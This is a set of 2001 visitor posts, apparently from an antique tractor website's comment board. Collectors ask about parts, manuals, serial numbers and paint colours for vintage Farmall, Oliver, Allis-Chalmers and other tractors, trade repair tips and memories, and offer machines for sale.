Shawn Miles wrote on Thursday, October 04, 2001 (PDT):I am looking for a Farmall MD(diesel) in fair conditionn ie;most of the hood/fuel tank/radiator covers. motor with all parts running or not.
Sue Ivey wrote on Thursday, October 04, 2001 (PDT):Does anyone have any info about a LU-5768. What year is it. Any pictures of what it should look like? My husband purchased one and it needs some work.
Mike D. wrote on Thursday, October 04, 2001 (PDT):I am looking for a service manual for a 1947 pony. Any info on this would be greatly appreciated. I am hearing a noise somewhere under the seat. When I engage the pto the noise seems to disapear. It doesn't matter if the clutch is engaged or not. there is a new clutch and throw out bearing. can any body give me some insight on this "noise"
Victor Brown wrote on Wednesday, October 03, 2001 (PDT):I'm trying to colect information on the W Series tractors. Does anyone have the technical specifications for the W4 eg. engine capacity, HP, standard tyre size? Any info. would be a great help. Thanks
Aaron Tipton wrote on Tuesday, October 02, 2001 (PDT):Any info on MM NTX tractors. Would like to know year mine was built (ser. no. 3295X ). How many were built and correct color scheme. Thanks. (828)682 4442
Aaron Tipton wrote on Tuesday, October 02, 2001 (PDT):I recently purchased a SD 3 . Injection pump is weak on no. 2 and 3 injectors. Need help finding a parts source or someone who can rebuild a Sheppard pump or parts so i can. Thanks any help is greatly appreciated. (828) 682 4442 NC
Jeff Kendall wrote on Tuesday, October 02, 2001 (PDT):I have a 1936 F-20 and need a carburator kit. Live in Gainesville Tx. Would appreciate information on where to get other parts also.
dennis wrote on Monday, October 01, 2001 (PDT):dad found 39 B cultivison pneumatic lift 2 plow in a barn in NJ been their since 41 runs good needs repainting .now have it in western NC looking for painter then ready for show
George Leuci wrote on Monday, October 01, 2001 (PDT):I am looking for a t20 , running condition. also know where there are parts.
fred wrote on Monday, October 01, 2001 (PDT):can someone help me identify this fordson tractor ; i bleve it to be a 1954/1956 petrol/kerosine tractor i need to know to see if i can get engine parts to rebuild the engine as it wont go any moore.
Chuck Mize wrote on Sunday, September 30, 2001 (PDT):Can anyone tell me the H.P. of a 200, 210, and 220 A.C.
james wrote on Saturday, September 29, 2001 (PDT):I own a super dexta and i need to find a manual for it,do you know where i can find one?
Bill Thomasson wrote on Friday, September 28, 2001 (PDT):This is my tractor. Photo is at Brooks Oregon tractor show. My dad bought it in 1912 in Chico, California. Four to five horse pull with sieve grip wheels. Tractor built by Samson Iron Works, in Stockton Calif. One cylinder, 7" bore, 9" stroke. It is built low to the ground to work in orchards, unlike other tractors which are high above the ground to work in crop fields.
Craig Miller wrote on Thursday, September 27, 2001 (PDT):I am restoring my cockshutt 40 diesel right now. We are going to pull all around wisconsin with it. We stuck about 1000 dollars into it already and are about half way finished
Dave White wrote on Tuesday, September 25, 2001 (PDT):I'm interested in locating some snap coupler equipment for my WD45. Is anyone aware of where any snap coupler equipment could be obtained. In particular, a springtooth, disk, or other snap coupler items.
micahael wrote on Tuesday, September 25, 2001 (PDT):got to use a MM G1000 LP as a pull off tractor at the boone county fair truck and tractor pulls. It used to be a farm stock puller so it had the large tires on it and it had to chrome straight pipe. It sounded awesome and had plenty of power.
Buck wrote on Monday, September 24, 2001 (PDT):Want to buy an NTX in good condition or better. Please contact me via e-mail if you have one for sale. Thank a lot!
Bob Barger wrote on Monday, September 24, 2001 (PDT):I Have a 1937 F-12 Farmall, I need two rear wheels, please e-mail or call 1-870-431-5625 I am located in Oakland, Arkansas, thats right outside of Mt. Home, Arkansas
Steve Davis wrote on Sunday, September 23, 2001 (PDT):I was about 15 years old when my uncle bought a G VI diesel and I drove it to his ranch, I thought it was the biggest tractor I'd seen in my life. Know I am 47 and I own one myself. We used the tractor for plowing wheat lands. We probably over hauled three times so that tells you how many hours we put on the moline tractor.
lance Rudloff wrote on Sunday, September 23, 2001 (PDT): How much horsepower does this tractor have? Thank you.
Bernard wrote on Saturday, September 22, 2001 (PDT):Re; Virgil Bremer You are correct. Allis did make d21 w/ fwa however didn't mass produce them. They worked based on hydraulics to pull the front end. Gilbert Vust, a AC collector, buyer, seller, all around AC fanatic has in his possesion i believe 2 or 3. U can contact him by looking in a phone book of Portage La Prairie, Manitoba, Canada. U can also ask him about Rally of the Orange in 2004.
Bernard wrote on Saturday, September 22, 2001 (PDT):Re; Virgil Bremer
Ryan wrote on Saturday, September 22, 2001 (PDT):My Grandfather has a 1954 W4. Runs great, needs some paint and there is a couple of dents, but otherwise just as new. We use it just as hard as when he first bought it. It rakes, pulls loads of hay (with a good wagon we can get 220-230 square bales on one load) over large hills quite well for it's condition.
Lynn Smith wrote on Saturday, September 22, 2001 (PDT):I bought a 1955 Super 55 diesel in May of 2000, worked on it all of last year and this year to get it in great shape. It had new paint, and all of the broken parts were replaced with new old stock or good used parts. I had to sell it and my Super 88 diesel to put a down payment on a house and set of barns that I always wanted. I feel like my right arm's been cut off now without my Olivers. Anyone know where I can buy some more like these to fix up again? That's half the fun of it!
Jean Bartos wrote on Friday, September 21, 2001 (PDT):I'm looking for a photo of a Case 15-30 tractor. I have a great story about my cousin and my Dad and THAT TRACTOR (as my cousin still calls it) 60+ years later! I'd like to know the year of mfg, and any other basic info. I remember it had the iron wheels like this 10-18. I think it ran on kerosene, but I'm not sure.
Frank wrote on Friday, September 21, 2001 (PDT):I have a 1967 550 gas and need a block or engine in good runnable condition ! Thanks.
Jasont wrote on Thursday, September 20, 2001 (PDT):I have read- and i has looked- but i still dont have an answer- i found what i think is a 1961 model 550. (but the #'s i have for it may indicate something else). Specification # is 15-0053 SN# 13734-518 any thoughts?
Hans Strayer wrote on Thursday, September 20, 2001 (PDT):I want to buy this one or one like it. Anyone have one this nice for sale? email me if you do at strayer at flash.net
CSherman wrote on Wednesday, September 19, 2001 (PDT):My daddy and I have a 53' Super M that we use to pull a hay rake and a tedder as well as a grain auger. It also pulls a 300 bushel gravity wagon on flat ground with no problems. We have a 68' 856 with a loader that does all of our mowing,baleing,bushogging, and loader work. Our 73' 1466 is a real workhorse also. It gets alot of heavy work and pulls a 30 ft. grain drill as well as a 450 bushel grain cart, but it is not so big that it can't do smaller work such as spreading fertilizer etc. All three are excellant and powerful tractors that were built when IH was the king of the tractor world. I am glad to see CASE IH finally trying to get back some of the tractor market, but International Harvester tractors will always be THE BEST EVER BUILT.
mikr wrote on Tuesday, September 18, 2001 (PDT): I have a 1957 820 for sale.it runs real good,both moters run good, Will take $6500 for it. Located in central Indiana.
KEN KABELE wrote on Tuesday, September 18, 2001 (PDT):I AM IN THE PROCESS OF RESTORING A 68 D21 SERIES 2 SER #4011 LOOKING FOR MORE D21 TRACTORS RUNNING NON RUNNING PIECES OR PARTS ANY CONDITION CALL DAYS 888-444-4734 EVENINGS 712-336-4484 THANKS
Brad Brooks wrote on Tuesday, September 18, 2001 (PDT):The easiest way to tell a WD and a WD-45 apart is to look at the side of the engine block. The WD will have a plate on the right side of the engine block. It looks like a chunk of 1/8" steel bolted to the block. If it has this plate of steel on it, it is surely a WD and not a WD-45.
Kathy Schmidt wrote on Monday, September 17, 2001 (PDT):I have a 60's-something Ford 2000 Super Dexta that needs a pump drive gear (hydraulics) and a sliding connector (PTO). Does anyone have these parts for sale, or a lead on a reliable parts supplier? Thanks!!!
johny wrote on Sunday, September 16, 2001 (PDT):THE ONLY REASON THAT CASE ARE RED BECAUSE THEY JUST GOT BEAT UP BY A JOHN DEERE
Greg Hatten wrote on Saturday, September 15, 2001 (PDT):I'm looking for a top transmission cover (casting) for a W4. Mine has been damaged so that I am unable to bolt the drawbar hanger into it. Attempts have been made to "fix" it in the past but it is now beyond repair. Does anybody know where I can find this?
Glen wrote on Saturday, September 15, 2001 (PDT):I have for sale two(2) Bmodel AC. One ran two months ago and the other was purchased with the engined seized, but complete. Included are several pcs of equipment. Single furrow plow-5ft belly mount cicle mower-4 ft. rear mouint flail mower- small oliver manual manure spreader(original paint and painted lettering) Poor health is my dissicion to sell all. Looking to sell and replace with Lawn and garden equip. Email if interested. Located near LBL- TN and KY
John Hatala wrote on Friday, September 14, 2001 (PDT):Hello I have a td5 complete and wuold like some info please
Russ Conn wrote on Wednesday, September 12, 2001 (PDT):My dad bought a To-20 in 1950 and I have it now. It still runs great and even though it was used hard through the years, it has only been overhauled once in 1964. In response to Ark's questions, I converted mine to 12v about 10 years ago. I used a 12v Ford car generator, but if you use an alternator, use a small one off a 4 cyl. as a big one will drag the tractor's engine down. I kept the 6v starter and the and the fast spinning starts the tractor so fast that it hasn't burnt out in all these years. I will eventually have to have it rewired to 12v. As far as your coil is concerned, it's ok. You'll have to pick up a ballast resistor at your local parts store. As it is a generic type item, it costs less than $10 usually.
Ralph E. Fisher wrote on Monday, September 10, 2001 (PDT):I have a 1942 Farmall A with new rubber all around, electric start, recent overhaul, engine and transmission, reworked front end, disc harrow, disc hillers, front and rear cultivators, single moldboard and numerous parts. Excellent running condition. Tractor was used to work a one acre garden for the last 30 years. Located in West Tennessee. Owner just passed away. Let me know if interested. This tractor has been well maintained.
Mike Pellerin wrote on Monday, September 10, 2001 (PDT):Hi, my name is Mike, and I have a 1958 cockshutt that my father bougth in 58, he has passed away in 1996 and I really want to restore it to it's original state. I don't know the model only the year it was purchased, can anyone help me find the rigth parts for it or direct me to a catalog where I could look it up, this has reat sentimental value to me, Thanks, MIke
Don Santore wrote on Sunday, September 09, 2001 (PDT):I have a 1952 SD3 which is complete and hardly used but needs engine work-would like to sell-located in Connecticut-sorry but don't know how much to ask, any help appreciated.
JIM wrote on Sunday, September 09, 2001 (PDT):I HAVE A OLIVER S/NUMBER 8117-518 CAN ANYONE TELL ME IF THIS A 55 OR 550 INDUSTRIAL NO PTO.
Robert Garofalo wrote on Sunday, September 09, 2001 (PDT):Does it pay to rebuild an engine on a 9n that has a welded block.
oliver fan wrote on Saturday, September 08, 2001 (PDT):i wish i had one
oliver fan wrote on Saturday, September 08, 2001 (PDT):i wish i had one
oliver fan wrote on Saturday, September 08, 2001 (PDT):it looks nice and beefy.
oliver fan wrote on Saturday, September 08, 2001 (PDT):it looks nice and beefy.
Martin Kennedy wrote on Friday, September 07, 2001 (PDT):Hey, that D12 looks very much like much like my dad's. It's a '61 and he bought it back in the early '70's and he still uses it. It has a front end loader with a cable released barn bucket, a three bottom plow, and disc. He modified a New Holland rototiller to fit and built a post hole auger for it. it's also pulled a few John Deere hay bailers in it's time too. It's a great little tractor, and I operated it quite often when pulling trailers or moving stuff around our small farm. I wouldn't mind owing it myself to use on my friends' farms. Maybe one day I will.
JIM wrote on Thursday, September 06, 2001 (PDT): ENGINEWISE, MY 5 STAR HAS AN M5 IN IT. I DID NOT CHANGE IT BUT IT LOOKS THE SAME AND ADDS HP.
jason schott wrote on Wednesday, September 05, 2001 (PDT):JD came out with a new series for thier already piles of junk, they made them to look like the CAse IH mx magnum tractors they finally got smart enough to put on front duals. anyway can't wait for husker harvest days.
Wayne Gerding wrote on Wednesday, September 05, 2001 (PDT):Have a 63 Ford 2000. Have found the firing order of 1 2 4 3, like most tractors, what is the reference location on the distributor. Start with the left of the notch on the cap and go clockwise.
Ellie wrote on Monday, September 03, 2001 (PDT):This past July. The Miamia Valley Steam THreashers Assoc. Sponsered the Harr parr Oliver Collecters Club There where over 700 Olivers and Equipment registered. Not to mention the over 300 othere tractors. we would have love if you came. maybe next July 12-15, 2001 you can bring your oliver to Plain City, Ohio. ** My boyfriend pulls in tractor pulls wiht an Oliver Super 99' 1954 Its the only tractor he loves to drive.
John A wrote on Monday, September 03, 2001 (PDT):Rick, If the overall condition and price of this tractor is agreeable to you. There should not be a problem with useing a tractor of this size to mow pastures. First you have more than enough Hp to turn a 6ft or larger shredder.Second you are up higher from the work, less dust& dirt to eat. Less rocks to whiz-z-z past your ears. Three better visibility to the terrain you are on. Depending on how the wheels on this tractor are set,they can be set-out for a wider stance. I know for I use a Farmall 966 for pasture shredding I have never had any prablems.My wheels are cupped out - and set for 40 in. rows My pastures are flat to rolling. I also have a lot of experence on tractors. You didn't say if you are an experenced with farm equipment are not. Basicly in my opinion there is'nt anything a small tractor can do that a larger tractor can't do better, providing the work application is equal. Also larger Hp tractors can be bought a lot of the time for less $$$. Hopes this helps!!!
Larry wrote on Friday, August 31, 2001 (PDT):I am looking for information on my 706D with a 282 in converting it to a 301 diesel as a 715 combine motor has.The 301 does not have sleeves. Will it work to change pistons and pull the sleeves out of the 282 or do I have to change blocks? Does any have any information on these two blocks?
Jesse Rawls wrote on Wednesday, August 29, 2001 (PDT):I have MM5 on LP and in search of a manuel. I would appreciate any information by E-Mail where I might obtain this 1960 MM5 on LP Gas. Thanks!
Richard Ody wrote on Wednesday, August 29, 2001 (PDT):I need help with the usual issue of identifying exactly what is in my shed ! I purchased a Super Dexta (or I thought so). Everything is as per the manual except there is more. There is a conventional handbrake and surprisingly a plate on the left side of the gearbox that says ; Ford Motor Company of Australia, 4FFD 100767. All the information I can gather suggests Super Dextas had numbers that concluded with 09D 928248. The documentation suggests a delivery date of 1965 - after Super Dextas ceased production. Can anybody out there tell me what I've got ?
Matt Fierro wrote on Tuesday, August 28, 2001 (PDT):I have a Massey Harris "30" with a busted intake manifold. I was told that I should be able too get it welded back together. If this can't be done can anyone direct me too a supplier for a used or after market one?
Jeff Douglas wrote on Monday, August 27, 2001 (PDT):I am restoring an AOS and I need a real good photo of the Decal on the Dash. Its the one of the deer jumping over the rock facing to the right above this is JOHN DEERE and below is MOLLIN.ILL.
ak wrote on Sunday, August 26, 2001 (PDT):dose any one have ac k crawler for sale between 200 and 2000
Gary Veldhuizen wrote on Saturday, August 25, 2001 (PDT): I have recently bought a Cockshutt 40 gas 1952 with wheatland fenders. I would like to know what color it should be painted.
TOM BOWLES wrote on Friday, August 24, 2001 (PDT):I have a 1966 AC.D15 SERIES 2.I need a good grill for it dose any one have one?
Aaron Schmidt wrote on Friday, August 24, 2001 (PDT):I was just wondering how much horsepower a 1975 1066 Turbo had on it. Can someone give me some info
leo spohr wrote on Friday, August 24, 2001 (PDT):hi there leader fans. I have a leader tractor, bought in late fourties. paid 800. new from a warehouse in cleveland ohiio. Must have been a thousand in that building. Over the yearss was used for farming, rebuilt several times. broke a rear axel one time then I broke a gear shift lever.went to a small job shop. a retired fellow, who worked on a lath most of his life. made what I wanted, was eactly what I wanted. You might try someone like him. I do have a manual, doesnt tell much (if instered) for others who are looking for motors the hericules motor was used by many county and town highway departments, also muck farmers used them on the muck farms. I have many old timers say ( you nan't kill a hericules. they just get old & run llike new. I think this was a very good motor for the leader. I also came across a place where you can get parts for the hericlues (if instereted) as for the gear box or rear end of the leader, go to a good job shop, you might have to pay a litle, but its worth it. I wold give, sell or trade my leader for anything, its part of the family ( later )!!!!e-mail( lasf at eznet.net )
Josh M. wrote on Wednesday, August 22, 2001 (PDT):I spent many hours of my youth disking and hilling on a 1066 identical to the one pictured. We also ran a 656 loader tractor and a 966 and 986. We now run MF ( at least they aren't green!) but I always thought those IH's were great tractors and there's many a time I wish we had them back!
TOM wrote on Tuesday, August 21, 2001 (PDT):I bought a 52 8N. I started to overhaul engine but the block had old damage that is not repairable. I,m in need of a used block! Do you know where I might find one? Thanks
Allen wrote on Monday, August 20, 2001 (PDT):If anyone is interested. I would like to trade a 50 Farmall Cub for a Farmall A. The cub is in good shape runs great. Needs hydraulic work nothing major. Would like to trade straight out. I'm located in Eastern N.C. Thank you.
mike wrote on Monday, August 20, 2001 (PDT):I am considering purchasing one of these in good running condition from a freind, is $1,000 dollars to much?
Barry Beaupre wrote on Monday, August 20, 2001 (PDT):I have recently rebuilt and restored the 560D that I grew up farming with. I was wondering if anyone could help in locating a set of original fenders for the tractor. I have restored everything else to 100% original. I will post a picture when the decals are all put on.
Cris L. wrote on Sunday, August 19, 2001 (PDT):I saw a AC crawler yesterday....the model tag said "TS-6" Does anyone have any idea how old it is and if parts are still available for it? I wouldl like a small crawler to work on during the winter. Thanks, Cris L.
Dwayne Selves wrote on Saturday, August 18, 2001 (PDT):we have a Coop,very similar to the pic ,but the front grill is more square and the the frame rails are channel iron serial #B2-263,anyone have any info on it
Frank Gissendaner wrote on Friday, August 17, 2001 (PDT):I have a farmall super md the local FFA chapter are restoring. I also have a super md engine I would like to know what it is worth.
greg young wrote on Thursday, August 16, 2001 (PDT):my father owened a tractor like this one pictured but only on rubbber and with a farm hand.He told me it was a ninty sereies. it was sold about fifteen years ago in olds alberta canada. I am my fathers son and would like to fined my farters oliver ninty and buy it back as a keepsake. I would know the tractor right away just by the fork my father built for picking up stukes. anybody knowing the wereabouts of this tractor please let me know.the last knowen owner was a mr jake rediecop of olds alberta canada.the tractor was sold at the olds auction mart. rosehill auction sevices
paul socwell wrote on Wednesday, August 15, 2001 (PDT):i am looking at a super 55 gas, with a loader, will this run a 9' haybine and a old massy baler, i hobby farm and it is a neat little tractor, thank you
todd wrote on Monday, August 13, 2001 (PDT):I HAVE HAVE AN ORCHARD AND IM ITERESTED IN SELLING IT. RUNS GOOD BUT NEEDS RESTORED.
Bob Dodge wrote on Monday, August 13, 2001 (PDT):I have a Cleveland tractor (crawler) about a 1920. It is in very good shape and I would like to find out info. on it. Also would like to sell it. Any interest ?
Ed.C.Weyn wrote on Sunday, August 12, 2001 (PDT):My dad bought a new Case DC in 1948 from a dealer in Mt.Clemens,Mich,it had a manure loader on it.He sold this machine about 10-12 years ago to a lumber yard in the Brighton/Novi/Oakland County area.It had a large square concrete counterweight mounted on the rear as we used it to load dirt.My dad passed away Jan 2001 at 90 years of age,I would like very much to locate this old friend,anybody see her around give me a call,PLEASE,Ed.C.Weyn,Waterford,Mich 248 682-7025
Brian wrote on Saturday, August 11, 2001 (PDT):Check out the john deere section of my website. Its under different tractor companies. www.geocities.com/antique_tractor thx
Richard wrote on Saturday, August 11, 2001 (PDT):Purchased my 1950 MT serial # 23783 two years ago. Immediately joined the Two-Cylinder Club where I found all the resources to restore this tractor. Its pictured in the Jan-Feb issue 2001 of this magazine. I have since located and bought the matching intigrated hitch 2-12 plow for the MT and have turned over miles of furrows since. The MT roams over my small acreage bush hogging, raking, plowing,and towing anything with a hitch.
Don wrote on Friday, August 10, 2001 (PDT):Live in Wy, Looking for anyone interested in purchasing 1921- 12-20 Case Tractor. Thnx
Charlie B wrote on Friday, August 10, 2001 (PDT):Trying to find out what year my Super 88 Oliver is. Can anyone help? Have serial #'s from engine and frame but can't find year model. Also have recently purchased another-different model,need info on it also.
Donald Duke wrote on Thursday, August 09, 2001 (PDT):Looking for a small replica of McCormick Internation W4, year l949, for my dad who is 83, it was his first tractor and I would like to find one, so he could display it on his shelf. Thanks Donald
Leonard Kostrzewski wrote on Wednesday, August 08, 2001 (PDT):I have a model u #1206433 and I'm not sure what the year of it is for sure. Can anybody maybehelp me? I'm not for sure if I'm going to sell it like it is or fix it up. It needs a couple of parts. The exhaust manifold and carb is gone.
Vince wrote on Tuesday, August 07, 2001 (PDT):I have 3 w4 tractors,2 steel wheelers & 1 rubber tyred. I have almost finished restoring the rubber tyred one [1945 model] which has the cast centres and would like to know if these and the front wheels should be painted silver as in this photo or IH red. My tractor will only be used for shows and rallies here in Australia.
Rad Man wrote on Tuesday, August 07, 2001 (PDT): We have a 1931 k-crawler #k-964 steering wheel, 12v start, hyd blade exl under carriage turn key ready could be the oldest special k around. any offers $$$!!!!
louis smith wrote on Monday, August 06, 2001 (PDT):I have a 1959 Ford Deisel select-o-matic with transmission problems. I pulled the handle for the PTO to engage and nothing happened. I then put it in gear, but still nothing. It starts fine but will not do anything else. The local Ford dealer will not give me an estimate on. Anyone have any suggestions. thanks
John Gunn wrote on Saturday, August 04, 2001 (PDT):I have what looks like an AC model A and the only serial numbers I can find are on the back of the block W93651K. this doen't match numbers in registery. it has hand brakes, any idea? I would like to know how many were built and if some parts are still available.
Aaron Faso wrote on Saturday, August 04, 2001 (PDT):My Dad has a series 2 d15 with 3 point, pto power adjust rears, cultivator bars and multiple adjust hydralics and a brand new fuel pump.We would like to know what this tractor is worth.
MIKE CASE wrote on Saturday, August 04, 2001 (PDT):AM LOOKING TO BUY A COCKSHUTT 30, WITH WIDE FRONT, LIVE POWER AND HYDRAULICS AND GOOD TIRES.........500 MILE RADIUS OF BESSEMER MI IN THE UPPER PENNSULA.........COULD USE LOADER ALSO..........EMAIL AND SEND PICTURES.....THANKS
MIKE CASE wrote on Saturday, August 04, 2001 (PDT):AM LOOKING TO BUY A COCKSHUTT 30 WITH WIDE FRONT-----NEEDS HYDRAULICS AND 3 POINT..........ALSO GOOD SHAPE.........INCLUDING TIRES............WILL TRAVEL IN MICHIGAN, MINNESOTA AND WISCONSIN TO SEE........ALSO ONTARIO CANADA.........LIVE IN UPPER MI.........THANKS
Norm wrote on Tuesday, July 31, 2001 (PDT):What is this? I know it is a 770, but the front axle, it has a standard axle, but it is too far ahead, it is more in the location of a row crop.
Norm wrote on Tuesday, July 31, 2001 (PDT):Actually, if you consider the 99 "industiral" it wasin production from 1932-1957
KEVIN KIRKLAND wrote on Monday, July 30, 2001 (PDT):I'M IN THE PROCESS OF REBUILDING 560D. CAN ANYBODY TELL ME WHAT COLOR THE DASH PANEL IS. I CAN REMEMBER THEM BEING SILVER FOR THE DIESEL'S. I WOULD ALSO LIKE INFORMATION ON ANTIQUE TRACTOR PULLS. I AM THINKING ABOUT TRYING THIS FIRST HAND. I GREW UP WITH A 560D ,560 GAS, F-20, M,H,C,GREAT TRACTORS. NICE TO HEAR EVERYBODY ELSE'S GOOD EXPERENCE'S WITH THIS GREAT TRACTOR.
Roger Balderston wrote on Monday, July 30, 2001 (PDT):I need some help. Can anyone tell me where to locate the serial number for my D17 Alis Chamers? I need to know if it is a series IV or not to be able to get the right 3 point hitch for it. I've looked and can't seem to find it thanks Roger
ray and steve wrote on Sunday, July 29, 2001 (PDT):WE HAVE JUST PURCHASED A W4 & W12 AND REQUIRE ANY INFO ON THESE TRACTORS AND AVALABILITY ON PARTS ECT..
mike birch wrote on Sunday, July 29, 2001 (PDT):I own a 56/57 D-14 gas looking for motor as it has been rebuilt 4 times to date sentimental value was my fathers first tractor and first I learned to drive would be a good tractor to teach my sons to learn on
Sandra Chedwick wrote on Sunday, July 29, 2001 (PDT):My father is having his AC 1968 D 12 restored, mainly to show in parades and tractor shows. It has a 3 point hitch. We are interested in any info about the tractor and info about the value of the tractor. Thanks!
kendall shipley wrote on Sunday, July 29, 2001 (PDT):AM INTERESTED IN PURCHASE OF GVI OR GBD 6 CYL MOLINE TRACTOR
Shauna Kerkhoff wrote on Saturday, July 28, 2001 (PDT):My friend and his brother have inherited a SD-3 from their grandfather. It is a 1950 and is running. If anyone knows or has any information on this tractor please let us know. Thanks
Dwight Miller wrote on Friday, July 27, 2001 (PDT):Re;Larae Whitfield steering clutches. I owne a 1960 oc4,and that model dont use clutches to steer,it has 2 brake bands,one for left and one for right,they can be relined
Steve Smith wrote on Thursday, July 26, 2001 (PDT):I just acquired an Oliver Super55 and plan on restoring it. This is my first attempt at anything like this so I will take any suggestions and/or information I can get. All four wheels are green. I have the paint code for the green but not for the yellow that is on the front. Are the Super 55 decals available? All I know now is it has a rod knock and I am starting from scratch
David Bennett wrote on Wednesday, July 25, 2001 (PDT):I live in Mississippi, and would like to find a flywheel for my D15 series II.
ken dyck wrote on Wednesday, July 25, 2001 (PDT):as a youngster i harrowed many an acre on a 44, our farm had 720 acres at the time. it would pull 12 (i think) sections of harrow in 3 rd gear, sometimes in 4th if the conditions were right. our hired hand plowed a 100 acre of clover with a 3 bottom plow but when he was done so was the exhaust manifold. dad bought the tractor used in the late 50's early 60's and the only rear dangerous occurence was that the nut holding one of the rear wheels on came loose several years after being worked on, if i owned one today i would check that. my brother found a 44 for sale and it is in good running shape. by tommorrow i may own it!!!! this will not be my working tractor, just a nostalga thing. old tractors belong in parades ken
Jim Weiler, Union City,IN wrote on Tuesday, July 24, 2001 (PDT):My dad has a 1949 MH 22 with a Massey loader that has been a good tractor. He has owned it since about 1968. Originally sold we think from the dealer in Winchester,IN. It has loaded one heck of alot of manure in its life and a good share of rocks too.It is semi-retired since we got a skid loader a few years ago, but I still used it to pick up a few rocks this spring, just for exercise.I like the looks of those 444's, they look streamlined.
dave dennison wrote on Tuesday, July 24, 2001 (PDT):I was in Sagertown,Pa. to the steam&tractor show. There was an Oliver 99 diesel with the GM supercharger. It was in pristine condition! I only wish i could own one.
Lathwell Farms wrote on Monday, July 23, 2001 (PDT):We farm a 5600 acres dairy farm in eastern iowa, we use IH, we have 2 IH 6788 2+2's, a 5288, 2 1086's, a 886 and a 1066, we have had really good luck with all the tractors, and we prefer the 2+2's over any big articulated tractor out there. we bouth all our tractors new and have never had a liuck of trouble.
stuart wrote on Monday, July 23, 2001 (PDT):i am looking for a leader tractor in goood running cond non smoker i do want any attchment's with it, price must be fair
Norm wrote on Monday, July 23, 2001 (PDT):I have an oliver 550 with a 578 front end loader and 613 backhoe. I need a top end gasket kit for it. Help!
Chuck wrote on Monday, July 23, 2001 (PDT):I have a 1943 Case D. I. that has an Earth Master Boom, and hard rubber tires on the front. Motor Runs good but has a bad spot on the fly wheel and needs carbeurator work. This tractor is Unique and One Of A Kind. Could be considered an Industrial Type of Tractor. Want to sell it. Email for pics, any offer over $850.00 gets it. Located in West Central Illinois.
Dave wrote on Sunday, July 22, 2001 (PDT):I recently acquired a D-17 gas with a loader. It does a nice job pulling my 90 inch LandPride mower. I'm intersted in locating good sources for parts or a parts tractor.
Don wrote on Sunday, July 22, 2001 (PDT):would like to know what the difference is between an M 5 and a 5 star
Ernest Love wrote on Sunday, July 22, 2001 (PDT):I am in the process of restoring a Ferguson, I am not sure of the year or model. I am in the Dallas FT. Worth Area.
Ben Parson wrote on Friday, July 20, 2001 (PDT):I have a Oliver for sale. Looks like a Super 44. Runs but needs carb. work & grill. $3500.00 Numbers on engine F140 497.
Bing Zimmerman wrote on Thursday, July 19, 2001 (PDT):Hi every one...I am looking for a waterpump,air cleaner and PTO for my OC3. I live in Everett Wa. If any one can help, please contact me. Thank you
Chuck wrote on Thursday, July 19, 2001 (PDT):I'm looking for an Oliver supper 44 to restor with my dad.
Neil Christensen wrote on Wednesday, July 18, 2001 (PDT):Dear 770 owners and admirors. I wish to pull my Oliver 770, but lack all Oliver experience. Any suggestions as far as internal components, tricks and modifications I can make would be greatly appreciated. Profiles of you pulling tractors would prove to be truely useful. Thanks, Neil Christensen, LaFarge, WI
Brian Raynor wrote on Wednesday, July 18, 2001 (PDT):I have owned a Leader tractor for 2 yrs. I am unsure of the year model and all the other vitals. I am interested in locating information on how to purchase a manual for this tractor. If you can help me with any information please e-mail me.
Bruce Jedwabny wrote on Wednesday, July 18, 2001 (PDT):I have found a Rock Island tractor that is all original and operating like new. The previous owner retired it in the 30s to a shed and never used it. The serial number is FA 290282. What year is it and it's value. I have also found another Rock Island that is stuck and looks to be complete. What would be a fair price to offer the owner? Please contact by e-mail bruce.jedwabny at svedala.com
Audouin wrote on Tuesday, July 17, 2001 (PDT):I am looking for documentation of FORD TRACTOR. My father was working in FORD compagnie for 27 years. He is 70 years old now and I would like to write a personal book for him with some pictures of the technology evolution in FORD tractor. Could you help me to do this
marvin wrote on Monday, July 16, 2001 (PDT):i have a case 1018 1920 or 1921 need parts . kingston mag also carb kit. does anyone know where i can find parts for this tractor. thanks marvin this tractor belonged to my wifes grandad in oregon
Bill McDonald wrote on Monday, July 16, 2001 (PDT):just bought an "A" farmall, motot is locked up, could anyone give me an idea as to how I should start to free it up?
Gary wrote on Monday, July 16, 2001 (PDT):I came across a pair of running Oliver 550's and don't need both of them. What is a fair price to pay in good working order either with or without a front end loader? Also, is anyone interested in the one without the loader? Thanks.
James W. Russell Muncie, In. wrote on Sunday, July 15, 2001 (PDT): My 30 Massey Hassis clutch stuck one time. I took the cover off from under the clutch and held the clutch peddle down and took a screw driver and forced it between the plate and disk, that worked for me. Sometimes if they set for awhile the plate will stick, when I know it will be awhile before I will use any of my older tractors I will block the clutch down to keep them open.
Peter Tait wrote on Sunday, July 15, 2001 (PDT):I have a line on a 1940 something John Deere. The owner says it's a BR but all the casting numbers bear AR. Where can I locate the serial number?
andre ferreira wrote on Thursday, July 12, 2001 (PDT):I am in possesion of a Oliver 70 Industrial and I need some information regarding this unit
jeff ghiglia wrote on Wednesday, July 11, 2001 (PDT):i have an oliver industrial 70 i need help !!!
jeff ghiglia wrote on Wednesday, July 11, 2001 (PDT):i have an oliver industrial 70 i need help !!!
bill wrote on Wednesday, July 11, 2001 (PDT): the B was the first tractor i owned,not that long ago either. it was a later 40s with a rolomatic and a powertol system. it also had a sears and roebuck loader. it was a powerful tractor and moved a bunch of logs, but the loader was an adventure to load hemlock logs, and what a gas hog! but she served me well. she's in the hands of a guy that'll give her a good home and not make her work anymore.
bill wrote on Wednesday, July 11, 2001 (PDT): i know of 2 of these around, one was bought at the county (st.lawrence n.y.) brand new and driven home. it still works fine, just needs some paint. the other one i got from my brother. trade 2 cords of firewood for it. a complete motor job later it run pretty good.
Don Fenton wrote on Wednesday, July 11, 2001 (PDT):I'am about to go pick up my father inlaws (1949) model 30 cockshutt in n.y. and hull it to s.c. I am wondering about the weight and the width in order to hull it on a trailer. If you know, could sure ude the info. thanks.
Jim wrote on Wednesday, July 11, 2001 (PDT):I've got a Fordson Major diesel with a Sherman backhoe-loader. This unit uses a Sherman gear-pump connected to the PTO. The gear pump seal has failed and I need to locate 1) a source for replacement seals/parts or 2) replacement pump. Numbers off the pump are; JG20434 & 2025R2B2. Any help or suggestions please email - Thanks.
Bryan wrote on Wednesday, July 11, 2001 (PDT):I have inherited some sort of Ford made in England. I was told it was a 5000. It hasn't run in 4 years and was partially disassembled. All the parts appear to be there. Does anyone know where the serial number is located? Would like to get it back in use soon. Thanks for the help.
Fred Welsh wrote on Tuesday, July 10, 2001 (PDT):I have an Oliver 770 that I bought last winter. I love it. It has an Oliver loader, Model 89, I believe. I would appreciate someone telling me where to add hydralic fluid to this tractor. Thanks..
